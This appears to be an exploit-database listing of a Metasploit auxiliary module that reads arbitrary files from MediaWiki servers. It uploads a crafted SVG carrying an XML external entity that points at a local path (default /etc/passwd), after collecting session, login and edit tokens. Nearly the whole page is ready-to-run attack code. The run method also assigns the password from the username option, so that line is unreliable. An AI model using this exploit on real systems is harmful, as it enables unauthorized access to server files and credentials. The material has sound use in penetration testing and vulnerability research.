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MediaWiki SVG XML Entity Expansion Remote File Access

🗓️ 01 Sep 2024 00:00:00Reported by juan vazquez, Christian Mehlmauer, Daniel Franke, metasploit.comType 
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This module attempts to read a remote file from the server using a vulnerability in the way MediaWiki handles SVG files. It requires MediaWiki to be configured to accept upload of SVG files, and if anonymous uploads are allowed, the username and password aren't required. Tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10. Older versions were also tested but do not seem to be vulnerable to this vulnerability

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'MediaWiki SVG XML Entity Expansion Remote File Access',  
'Description' => %q{  
This module attempts to read a remote file from the server using a vulnerability  
in the way MediaWiki handles SVG files. The vulnerability occurs while trying to  
expand external entities with the SYSTEM identifier. In order to work MediaWiki must  
be configured to accept upload of SVG files. If anonymous uploads are allowed the  
username and password aren't required, otherwise they are. This module has been  
tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.  
Older versions were also tested but do not seem to be vulnerable to this vulnerability.  
The following MediaWiki requirements must be met: File upload must be enabled,  
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something  
other than 'false'.  
},  
'References' =>  
[  
[ 'OSVDB', '92490' ],  
[ 'URL', 'https://phabricator.wikimedia.org/T48859' ],  
[ 'URL', 'https://web.archive.org/web/20130421060020/http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229']  
],  
'Author' =>  
[  
'Daniel Franke', # Vulnerability discovery and PoC  
'juan vazquez', # Metasploit module  
'Christian Mehlmauer' # Metasploit module  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [true, 'Path to MediaWiki', '/mediawiki']),  
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']),  
OptString.new('USERNAME', [ false, "The user to authenticate as"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with" ])  
])  
  
register_autofilter_ports([ 80 ])  
end  
  
def get_first_session  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "index.php"),  
'method' => 'GET',  
'vars_get' => {  
"title" => "Special:UserLogin",  
"returnto" => "Main+Page"  
}  
})  
  
if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/  
return $1,$2  
else  
return nil  
end  
end  
  
def get_login_token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "index.php"),  
'method' => 'GET',  
'vars_get' => {  
"title" => "Special:UserLogin",  
"returnto" => "Main+Page"  
},  
'cookie' => session_cookie  
})  
  
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/  
return $1  
else  
return nil  
end  
  
end  
  
def parse_auth_cookie(cookies)  
cookies.split(";").each do |part|  
case part  
when /([^\s]*UserID)=(.*)/  
@wiki_user_id_name = $1  
@wiki_user_id = $2  
when /([^\s]*UserName)=(.*)/  
@wiki_user_name_name = $1  
@wiki_user_name = $2  
when /session=(.*)/  
@wiki_session = $1  
else  
next  
end  
end  
end  
  
def session_cookie  
if @user and @password  
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"  
else  
return "#{@wiki_session_name}=#{@wiki_session}"  
end  
end  
  
def authenticate  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "index.php"),  
'method' => 'POST',  
'vars_get' => {  
"title" => "Special:UserLogin",  
"action" => "submitlogin",  
"type" => "login"  
},  
'vars_post' => {  
"wpName" => datastore['USERNAME'],  
"wpPassword" => datastore['PASSWORD'],  
"wpLoginAttempt" => "Log+in",  
"wpLoginToken" => @login_token,  
"returnto" => "Main+Page"  
},  
'cookie' => session_cookie  
})  
  
if res and res.code == 302 and res.get_cookies.include?('UserID=')  
parse_auth_cookie(res.get_cookies)  
return true  
else  
return false  
end  
end  
  
def get_edit_token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),  
'method' => 'GET',  
'cookie' => session_cookie  
})  
  
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/  
return $1  
else  
return nil  
end  
  
end  
  
def upload_file  
entity = Rex::Text.rand_text_alpha_lower(3)  
@file_name = Rex::Text.rand_text_alpha_lower(4)  
svg_file = %Q|  
<!DOCTYPE svg [<!ENTITY #{entity} SYSTEM "file://#{datastore['RFILE']}">]>  
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">  
<desc>&#{entity};</desc>  
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />  
</svg>  
|  
svg_file.gsub!(/\t\t/, "")  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(svg_file, "image/svg+xml", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{@file_name}.svg\"")  
post_data.add_part("#{@file_name.capitalize}.svg", nil, nil, "form-data; name=\"wpDestFile\"")  
post_data.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")  
post_data.add_part("", nil, nil, "form-data; name=\"wpLicense\"")  
post_data.add_part("#{@edit_token}+\\", nil, nil, "form-data; name=\"wpEditToken\"")  
post_data.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")  
post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")  
post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")  
  
data = post_data.to_s  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => session_cookie  
})  
  
if res and res.code == 302 and res.headers['Location']  
return res.headers['Location']  
else  
# try to output the errormessage  
if res and res.body  
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]  
if error and error.size == 1  
vprint_error(error[0])  
end  
end  
return nil  
end  
end  
  
def read_data  
res = send_request_cgi({  
'uri' => @svg_uri,  
'method' => 'GET',  
'cookie' => session_cookie  
})  
  
if res and res.code == 200 and res.body =~ /File:#{@file_name.capitalize}.svg/ and res.body =~ /Metadata/ and res.body =~ /<th>Image title<\/th>\n<td>(.*)<\/td>\n<\/tr><\/table>/m  
return $1  
else  
return nil  
end  
end  
  
def accessfile(rhost)  
vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")  
@wiki_session_name, @wiki_session = get_first_session  
if @wiki_session.nil?  
print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")  
return  
end  
vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")  
  
if @user and not @user.empty? and @password and not @password.empty?  
vprint_status("#{peer} MediaWiki - Getting login token...")  
@login_token = get_login_token  
if @login_token.nil?  
print_error("#{peer} MediaWiki - Failed to get login token")  
return  
end  
vprint_status("#{peer} Logintoken: #{@login_token}")  
  
if not authenticate  
print_error("#{peer} MediaWiki - Failed to authenticate")  
return  
end  
vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")  
vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")  
vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")  
end  
  
vprint_status("#{peer} MediaWiki - Getting edit token...")  
@edit_token = get_edit_token  
if @edit_token.nil?  
print_error("#{peer} MediaWiki - Failed to get edit token")  
return  
end  
vprint_status("#{peer} Edittoken: #{@edit_token}")  
  
vprint_status("#{peer} MediaWiki - Uploading SVG file...")  
@svg_uri = upload_file  
if @svg_uri.nil?  
print_error("#{peer} MediaWiki - Failed to upload SVG file")  
return  
end  
vprint_status("#{peer} SVG URI: #{@svg_uri}")  
  
vprint_status("#{peer} MediaWiki - Retrieving remote file...")  
loot = read_data  
if loot.nil? or loot.empty?  
print_error("#{peer} MediaWiki - Failed to retrieve remote file")  
return  
end  
  
f = ::File.basename(datastore['RFILE'])  
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])  
print_good("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")  
end  
  
def run  
@user = datastore['USERNAME']  
@password = datastore['USERNAME']  
super  
end  
  
def run_host(ip)  
accessfile(ip)  
end  
end  
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